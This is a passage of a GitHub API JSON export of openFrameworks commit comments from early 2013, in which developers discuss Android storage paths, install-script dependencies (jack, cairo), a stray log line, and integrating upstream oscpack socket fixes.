mple/AndroidManifest.xml","commit_id":"619d8a84525f62592a326d04e10a2750916d6ab3","created_at":"2013-02-22T12:50:17Z","updated_at":"2013-02-22T12:50:17Z","body":"not anymore since now data is in /sdcard/Android/data/pkgname which is considered the app data folder so the app has permissions to write there"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2679326","html_url":"https://github.com/openframeworks/openFrameworks/commit/619d8a84525f62592a326d04e10a2750916d6ab3#commitcomment-2679326","id":2679326,"user":{"login":"thiagohersan","id":850815,"avatar_url":"https://secure.gravatar.com/avatar/b3d17564d4e5a5b5925aab9c8af761cf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3d17564d4e5a5b5925aab9c8af761cf","url":"https://api.github.com/users/thiagohersan","html_url":"https://github.com/thiagohersan","followers_url":"https://api.github.com/users/thiagohersan/followers","following_url":"https://api.github.com/users/thiagohersan/following{/other_user}","gists_url":"https://api.github.com/users/thiagohersan/gists{/gist_id}","starred_url":"https://api.github.com/users/thiagohersan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thiagohersan/subscriptions","organizations_url":"https://api.github.com/users/thiagohersan/orgs","repos_url":"https://api.github.com/users/thiagohersan/repos","events_url":"https://api.github.com/users/thiagohersan/events{/privacy}","received_events_url":"https://api.github.com/users/thiagohersan/received_events","type":"User"},"position":5,"line":12,"path":"examples/android/androidImageExample/AndroidManifest.xml","commit_id":"619d8a84525f62592a326d04e10a2750916d6ab3","created_at":"2013-02-23T03:59:08Z","updated_at":"2013-02-23T03:59:08Z","body":"I thought getFilesDir( ) was the internal app data folder. We're still using getExternalStorageDirectory( ) and those hardcoded paths to get to /sdcard/Android/data/pkgname, which I think is external ... I'm gonna open an Issue and we can continue there.... : ) "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2698856","html_url":"https://github.com/openframeworks/openFrameworks/commit/2670d6a86526f66e6e4ac88ad35635581bcf27aa#commitcomment-2698856","id":2698856,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":4,"line":13,"path":"scripts/linux/ubuntu/install_dependencies.sh","commit_id":"2670d6a86526f66e6e4ac88ad35635581bcf27aa","created_at":"2013-02-26T20:26:13Z","updated_at":"2013-02-26T20:27:01Z","body":"@arturoc you removed the `libjack-jackd2-dev` installation here (and in debian) - why?\r\na user currently (on IRC) has problems running 0.7.4 (the cameraRibbonExample) - it wants jack: https://gist.github.com/joar/11c78c23b52a7f3633f1 what's up with that?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2702813","html_url":"https://github.com/openframeworks/openFrameworks/commit/2670d6a86526f66e6e4ac88ad35635581bcf27aa#commitcomment-2702813","id":2702813,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":4,"line":13,"path":"scripts/linux/ubuntu/install_dependencies.sh","commit_id":"2670d6a86526f66e6e4ac88ad35635581bcf27aa","created_at":"2013-02-27T08:59:19Z","updated_at":"2013-02-27T08:59:19Z","body":"the problem is not here but in the makefile, i removed jack because portaudio which was the library that needed jack is installed now through apt-get so it should handle the dependencies itself in case it needs jack but it doesn't. the makefile still tries to link against jack so pkg-config fails\r\n\r\ni'm removing it from the new makefiles"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2702921","html_url":"https://github.com/openframeworks/openFrameworks/commit/2670d6a86526f66e6e4ac88ad35635581bcf27aa#commitcomment-2702921","id":2702921,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":4,"line":13,"path":"scripts/linux/ubuntu/install_dependencies.sh","commit_id":"2670d6a86526f66e6e4ac88ad35635581bcf27aa","created_at":"2013-02-27T09:14:22Z","updated_at":"2013-02-27T09:14:22Z","body":"Ah I see, thanks. \r\nAlso, in that gist, that guy had problems with Cairo, but he showed that cairo was installed - he had to add something to the makefile manually. I guess that is irrelevant anyway in the new makefile system? Sorry, that was on IRC, I don't have the log anymore."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2702959","html_url":"https://github.com/openframeworks/openFrameworks/commit/2670d6a86526f66e6e4ac88ad35635581bcf27aa#commitcomment-2702959","id":2702959,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":4,"line":13,"path":"scripts/linux/ubuntu/install_dependencies.sh","commit_id":"2670d6a86526f66e6e4ac88ad35635581bcf27aa","created_at":"2013-02-27T09:19:13Z","updated_at":"2013-02-27T09:19:13Z","body":"yes the problem is that if any of the libraries in the pkg-config call fails everything else will fail, most libraries don't need special includes but cairo does, and it set it up through pkg-config so it's probably also failing because of jack not being present. all should be fixed in the new makefiles"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2703004","html_url":"https://github.com/openframeworks/openFrameworks/commit/2670d6a86526f66e6e4ac88ad35635581bcf27aa#commitcomment-2703004","id":2703004,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":4,"line":13,"path":"scripts/linux/ubuntu/install_dependencies.sh","commit_id":"2670d6a86526f66e6e4ac88ad35635581bcf27aa","created_at":"2013-02-27T09:25:37Z","updated_at":"2013-02-27T09:25:37Z","body":"great, thanks. :-)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2721497","html_url":"https://github.com/openframeworks/openFrameworks/commit/f85ba9b28faeb75ddb649bd45758166d707c6c56#commitcomment-2721497","id":2721497,"user":{"login":"SoylentGraham","id":2184197,"avatar_url":"https://secure.gravatar.com/avatar/9c4381dbaf7664c1fd5b198e807bfa16?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9c4381dbaf7664c1fd5b198e807bfa16","url":"https://api.github.com/users/SoylentGraham","html_url":"https://github.com/SoylentGraham","followers_url":"https://api.github.com/users/SoylentGraham/followers","following_url":"https://api.github.com/users/SoylentGraham/following{/other_user}","gists_url":"https://api.github.com/users/SoylentGraham/gists{/gist_id}","starred_url":"https://api.github.com/users/SoylentGraham/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SoylentGraham/subscriptions","organizations_url":"https://api.github.com/users/SoylentGraham/orgs","repos_url":"https://api.github.com/users/SoylentGraham/repos","events_url":"https://api.github.com/users/SoylentGraham/events{/privacy}","received_events_url":"https://api.github.com/users/SoylentGraham/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f85ba9b28faeb75ddb649bd45758166d707c6c56","created_at":"2013-03-01T12:45:52Z","updated_at":"2013-03-01T12:45:52Z","body":"ofLogError() << \"init windows\";\r\n\r\nCan we change this to something more appropriate? \"Init windows\" isn't really an error message...\r\n\r\nperhaps\r\nofLogVerbose() << \"ofTrueTypeFont::initWindows()\" if it really needs some logging..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2721703","html_url":"https://github.com/openframeworks/openFrameworks/commit/f85ba9b28faeb75ddb649bd45758166d707c6c56#commitcomment-2721703","id":2721703,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f85ba9b28faeb75ddb649bd45758166d707c6c56","created_at":"2013-03-01T13:28:05Z","updated_at":"2013-03-01T13:28:05Z","body":"that sounds totally reasonable, if you could submit a pull request for that change we can merge it."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2722019","html_url":"https://github.com/openframeworks/openFrameworks/commit/f85ba9b28faeb75ddb649bd45758166d707c6c56#commitcomment-2722019","id":2722019,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f85ba9b28faeb75ddb649bd45758166d707c6c56","created_at":"2013-03-01T14:18:09Z","updated_at":"2013-03-01T14:18:09Z","body":"actually you can remove that line, i used it for testing while developing and then forgot to remove it"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2722088","html_url":"https://github.com/openframeworks/openFrameworks/commit/f85ba9b28faeb75ddb649bd45758166d707c6c56#commitcomment-2722088","id":2722088,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f85ba9b28faeb75ddb649bd45758166d707c6c56","created_at":"2013-03-01T14:32:21Z","updated_at":"2013-03-01T14:32:21Z","body":"ah, even better :)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2731538","html_url":"https://github.com/openframeworks/openFrameworks/commit/af9dedb122358b2f856893eee477350facec93c1#commitcomment-2731538","id":2731538,"user":{"login":"rbencina","id":3253274,"avatar_url":"https://secure.gravatar.com/avatar/666a95f5725d92e6bf6ccc0c2c60db59?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"666a95f5725d92e6bf6ccc0c2c60db59","url":"https://api.github.com/users/rbencina","html_url":"https://github.com/rbencina","followers_url":"https://api.github.com/users/rbencina/followers","following_url":"https://api.github.com/users/rbencina/following{/other_user}","gists_url":"https://api.github.com/users/rbencina/gists{/gist_id}","starred_url":"https://api.github.com/users/rbencina/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rbencina/subscriptions","organizations_url":"https://api.github.com/users/rbencina/orgs","repos_url":"https://api.github.com/users/rbencina/repos","events_url":"https://api.github.com/users/rbencina/events{/privacy}","received_events_url":"https://api.github.com/users/rbencina/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"af9dedb122358b2f856893eee477350facec93c1","created_at":"2013-03-04T06:18:17Z","updated_at":"2013-03-04T06:18:17Z","body":"Now in oscpack repo revision-86. Note client must call SetAllowReuse(true) and SetEnableBroadcast(true) explicitly -- maybe you guys want to call those in the ctor. See:\r\nhttps://code.google.com/p/oscpack/source/detail?r=86"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2731544","html_url":"https://github.com/openframeworks/openFrameworks/commit/af9dedb122358b2f856893eee477350facec93c1#commitcomment-2731544","id":2731544,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"af9dedb122358b2f856893eee477350facec93c1","created_at":"2013-03-04T06:21:51Z","updated_at":"2013-03-04T06:21:51Z","body":"awesome, thanks ross! @bilderbuchi do you think you could check + integrate these changes to oscpack?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2731585","html_url":"https://github.com/openframeworks/openFrameworks/commit/af9dedb122358b2f856893eee477350facec93c1#commitcomment-2731585","id":2731585,"user":{"login":"rbencina","id":3253274,"avatar_url":"https://secure.gravatar.com/avatar/666a95f5725d92e6bf6ccc0c2c60db59?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"666a95f5725d92e6bf6ccc0c2c60db59","url":"https://api.github.com/users/rbencina","html_url":"https://github.com/rbencina","followers_url":"https://api.github.com/users/rbencina/followers","following_url":"https://api.github.com/users/rbencina/following{/other_user}","gists_url":"https://api.github.com/users/rbencina/gists{/gist_id}","starred_url":"https://api.github.com/users/rbencina/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rbencina/subscriptions","organizations_url":"https://api.github.com/users/rbencina/orgs","repos_url":"https://api.github.com/users/rbencina/repos","events_url":"https://api.github.com/users/rbencina/events{/privacy}","received_events_url":"https://api.github.com/users/rbencina/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"af9dedb122358b2f856893eee477350facec93c1","created_at":"2013-03-04T06:40:23Z","updated_at":"2013-03-04T06:40:23Z","body":"@kylemcdonald @bilderbuchi note that integrating is going to be a bit fun due to many recent changes. things are still in flux today. i'm going to try to push out a 1.1RC1 in the next few days. If someone wants to act as the contact point send me an email and I can keep you updated about progress. i'd prefer to coordinate with a single contact, and via email, if that's doable. cheers."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2732035","html_url":"https://github.com/openframeworks/openFrameworks/commit/af9dedb122358b2f856893eee477350facec93c1#commitcomment-2732035","id":2732035,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"af9dedb122358b2f856893eee477350facec93c1","created_at":"2013-03-04T09:04:01Z","updated_at":"2013-03-04T09:04:55Z","body":"@kylemcdonald sorry, I'm a bit swamped with a couple other projects, so it will be some time until I can look at this more closely. I think I could start ~after Resonate or so.\r\nWaiting for the RC (or release) will not be a problem, @rbencina. \r\n@kylemcdonald I think it makes most sense to wait with integration until the new makefile system lands in OF-develop (which will happen soon). maybe we can then avoid renaming the `posix/UdpSocket.cpp`, `win32/UdpSocket.cpp` to resolve the ambiguous filenames, cause the new makefile system allows for finer-grained control of source inclusions. I don't know if the IDE-based projects (xcode, VS, C::B) will play ball, though - thoughts?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2732043","html_url":"https://github.com/openframeworks/openFrameworks/commit/af9dedb122358b2f856893eee477350facec93c1#commitcomment-2732043","id":2732043,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"af9dedb122358b2f856893eee477350facec93c1","created_at":"2013-03-04T09:05:14Z","updated_at":"2013-03-04T09:05:14Z","body":"that's totally reasonable, let's wait for the new makefiles to avoid duplication of effort. right now the fix exists in OF, we just need to integrate from the official oscpack codebase -- so it's not urgent."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2732082","html_url":"https://github.com/openframeworks/openFrameworks/commit/af9dedb122358b2f856893eee477350facec93c1#commitcomment-2732082","id":2732082,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"af9dedb122358b2f856893eee477350facec93c1","created_at":"2013-03-04T09:13:28Z","updated_at":"2013-03-04T09:13:28Z","body":"alright. I'm already curious if #701 is fixed with the new oscpack version. will have to try that again and see if it still occurs."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2732125","html_url":"https://github.com/openframeworks/openFrameworks/commit/af9dedb122358b2f856893eee477350facec93c1#commitcomment-2732125","id":2732125,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"af9dedb122358b2f856893eee477350facec93c1","created_at":"2013-03-04T09:23:21Z","updated_at":"2013-03-04T09:23:31Z","body":"OK I opened #1911 for further discussion/planning, please continue there - any wisdom is bound to get lost in those discussions in commit comments."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2732132","html_url":"https://github.com/openframeworks/openFrameworks/commit/af9dedb122358b2f856893eee477350facec93c1#commitcomment-2732132","id":2732132,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"af9dedb122358b2f856893eee477350facec93c1","created_at":"2013-03-04T09:24:35Z","updated_at":"2013-03-04T09:24:35Z","body":"@rbencina let me know: arturo at openframeworks cc i think those changes it's all we need. as soon as you have a stable version we'll remove our custom version and move to the official again. thanks!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2773971","html_url":"https://github.com/openframeworks/openFrameworks/commit/3a76bf10bc8d19a6a6a7d061c13cda77f4fb6421#commitcomment-2773971","id":2773971,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"3a76bf10bc8d19a6a6a7d061c13cda77f4fb6421","created_at":"2013-03-10T12:05:02Z","updated_at":"2013-03-10T12:05:02Z","body":"so @ofTheo why was this done this way, again, as opposed to #1889? was this based on some discussion not on github? also, was changing the other types really necessary, wasn't only `BOOL` the offending type?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2774119","html_url":"https://github.com/openframeworks/openFrameworks/commit/3a76bf10bc8d19a6a6a7d061c13cda77f4fb6421#commitcomment-2774119","id":2774119,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"3a76bf10bc8d19a6a6a7d061c13cda77f4fb6421","created_at":"2013-03-10T13:59:55Z","updated_at":"2013-03-10T13:59:55Z","body":"Hi @bilderbuchi \r\nthe fix didn't seem to work for vs2010 ( maybe cb too )\r\n\r\nalso I think the person submitting only had an issue with the BOOL typedef - but I believe I had issues with the the others ( maybe on windows ) at some point. 